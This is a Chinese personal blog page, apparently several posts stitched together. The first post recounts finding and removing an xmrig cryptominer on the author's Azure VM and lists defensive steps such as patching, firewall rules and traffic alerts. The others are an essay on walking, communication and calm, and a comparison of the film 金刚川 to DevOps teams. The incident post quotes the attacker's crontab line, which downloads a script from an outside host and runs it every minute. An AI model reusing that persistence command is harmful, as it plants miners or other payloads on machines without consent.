云安全的重要性：记录一次云主机被挖矿攻防

最近发现我的一台Azure VM 超出150美元的月度限额导致VM 直接关机。

通过Azure Monitor 上 可以看出一段时间内CPU，Network Out Total 严重异常，出口流量暴增，CPU 近100%。

重新开机并立即关闭80，443 端口，并限定了22 端口仅限本机访问， 然后SSH上去开始尝试寻找问题原因。

1. 首先通过 htop 检查导致高CPU的进程,发现名为xmrig的进程导致100%

2. 检查crontab 查看是否有自启动的job，果然发现有，杀掉进程后并删除crontab job。

*/1 * * * * cd /tmp/node-v10.15.3-linux-x64/bin;rm -rf cc.sh;
wget http://8306.org/cc.sh;chmod 777 cc.sh;bash cc.sh /dev/null 2>&1

如果从SRE角度去主动侦测

上述的步骤是事后诸葛亮， 是被动的应对，决定尝试一下主动侦测并提前响应，以免像我一样早上上面的损失。

• 升级系统补丁

可以选择定时任务去执行下面的命令也可以在配置云主机的时候设置自动升级补丁包

sudo apt upgrade && sudo apt update

• 设置安全组和Inbound/Outbound 规则

• 通过监控工具主动发现异常

从这里可以看到这个xmrig的进程通过13333这个端口从我的 Azure VM 跟目标机器 101.32.200.219 这台机器进行通信。

通过IP 我们可以定位出目标IP 对应的ISP 是腾讯云上的一台云主机。

到这一步，我在想，是不是我们遇到重大损失的时候就可以报案并联系IPS运营商去协助从源头上解决问题。

当然，对于小损失，像我这样的，我们可以吃一堑长一智，至少可以把对方的IP 加到inbound/outbound blocklist里。

• 设置Alert 主动通知和干预

因为此次攻击主要是利用云主机资源用来挖矿，对我的账单影响比较大的地方是出口流量费用。为了避免损失，我结合Azure 的Metrics 设置了 Alert。

一旦发现一段时间内的流量异常，就通过邮件发送通知，并自动执行任务暂时关闭主机，阻止近一步的损失。

还有什么可以做的？

欢迎大家留言，提出保障云主机安全的见解和建议。

Growth Mindset 2021

微信公众号“对刘谈心”记录一个”观念改造”的系列。计划是每个月一篇，月底刊登。

观念改造记录这个月我看过的书或网页，遇见的人或事情对我个人的观念的改造，至少当下我比较认同的观念，朋友们一看，能够遇到某一条您也比较接受或认同的，我便心满意足。

Edge 功能

• 侧边栏搜索

• Read aloud

Firefox

Brave

步行的能力

2020年换了一份新工作，从前的单位离家40公里，现在的单位离家6公里。 从前开车一路高速40分钟到公司，现在虽然近了，开车只要20分钟到公司停车场，停车场走到办公室20分钟。

通勤时间没有变，可是我喜欢现在的上班路，特别是那段要步行的路，让我放慢节奏，明白还有一种距离是可以一步一个脚印去到达的目的地。

因为我明显感觉到，我们缺乏这样的运动，几步路也要喊个车，回头却通过夜跑，健身房，轻断食来减少脂肪的积累。

所以我认为我们不能丧失的第一种能力就是步行的能力。

交流的能力

2020年新冠疫情肆虐全球，我们经过了一段居家隔离的时光，全民开始逐渐习惯在网上买菜购物，甚至我们都很少去那闹哄哄夹杂着海鲜味，肉腥味的菜市场。 慢慢地我们离市井小民越来越远，没有机会去在几个摊位前货比三家挑选食材，甚至连某样食材应有的市场行情也捉摸不透，更可怕的是，再也没有机会去跟商贩面对面去讨价还价。

我们慢慢地变得只和App沟通，也慢慢被App 背后的设计逻辑欺骗。

所以，我们不能丧失的第二种能力就是与人相处，和人沟通地能力。

静心的能力

这些年，网速变快了，交通也变快了，快递也比以前的书信邮寄快了，电脑手机的配置也越来越快了，可是我们却变得越来越忙。 忙得毫无头绪，漫无目的。

小时候一盒磁带可以正反面翻过来倒过去地听，每首歌地歌词都烂熟于心，还能用小本子把歌词一句一句誊写下来。 小时候的一个电影，可以跟着放映员到各个村庄一遍遍地看。

可是2020年，我发现我连好好看一部完整的电影的时间都没有，好好记一首歌的歌词的时间都没有。

身边地一切都变快了，一切东西都在加速生产，也在快速消费。

可是我们身为人，不是超人，是有其局限性的，我们要用心理解这个世界，而不是被这个快速的世界牵着鼻子走马观花。

2021，这个春节，假如我们响应国家号召，就地过年，我希望能给自己好好放几天假，就在家里啥也不做。

所以，我们不能丧失的第三种能力，就是让自己的心慢下来，静下来，蓄势待发。

之前看到某位女大佬在朋友圈赞许过这部叫金刚川的电影，心里一直存疑怎么女孩子会喜欢这样一部战争题材的电影呢？

终于忍不住趁这个周末晚上睡觉前，在家里看了这部电影的一半。

这部电影的前一个小时，讲的大概就是大部队要渡一条河，敌机炸了河面上的桥，而我军这边工程兵负责修桥。 反反复复，敌机一遍遍过来侦察轰炸，工兵连这边一遍遍迅速的修复。 来保障大部队的渡河。

当然敌机每次来轰炸的时候，我军这边还有两门隐秘的高射炮小组，一组负责打飞机，一组隐蔽保持实力。

看到这里我再无心往下看，这不是活生生的 DevOps 团队之与整个IT研发团队的关系吗？

快速修复，持续保驾护航

DevOps 本身是一种文化的转变，打破开发与运维的壁垒。为整个团队赋能。当然实际过程中，DevOps Engineer 除了构建基础工具（CI/CD)链保障开发运维高效地开展工作外，还需要迅速修复从故障中修复，如果自身地平台都垮掉了，还怎么保障开发、支持团队?

这就很像工程兵，除了开路修桥保障部队地迅速通行， 路被堵了，桥被炸了，还需要迅速地修复，持续保驾护航。

稳定性和高可用

桥修好了，为了防止敌机破坏，桥两边地隐秘地高射炮小组，为了保障桥体地稳定性，时刻观察天空，一旦发现敌机，就第一时间射击驱逐。

这就像 DevOps SRE 当中地稳定性运维，面向Observation 运维，通过一些监控工具 （ELK）对产品就行监测，一旦发现异常情况，就第一时间进行干预，自我修复。

那两门高射炮分两个小组，一组负责设计，一组负责隐蔽， 这就像我们软件开发中地高可用，也是对我们DEVOPS 平台地高可用和自我恢复提出地要求。

想象一下，我们的平台支持着开发团队，如果我们遭到破坏怎么办？我们自己能不能快速地自我恢复？ 如果我们自己不能迅速恢复，必然对整个队伍产生阻碍。

做优秀的工程连

DevOps 团队除了持续的精研技术，利用先进的技术手段为整个公司赋能，还需要时刻保持自身的稳定性，高可用，故障的快速自愈能力。

甘于奉献

小时候我们都下过军棋，工兵在我们眼里是很不起眼的角色， 只知道他能排个雷。

这就像我们一个个项目，每个项目成功上线了，离不开开发组的研发，他们会受到表扬赞许。这就像一场场战役的胜利，英勇杀敌的冲在前面的战士，会被授予军功章。

而保障赋能团队，就像这个工兵连，排雷，开路，铺桥，没看这部电影，这样的团队往往会被我们忽略。

但是真是有这样的甘于奉献，默默无闻的坚韧不拔的工兵连队，才能保证大部队的一次次的胜利和成功。

我们每个人，每个岗位，都有自己的价值，做好自己，甘于奉献。 这是我看了这半部电影的感受和电影给我的动力。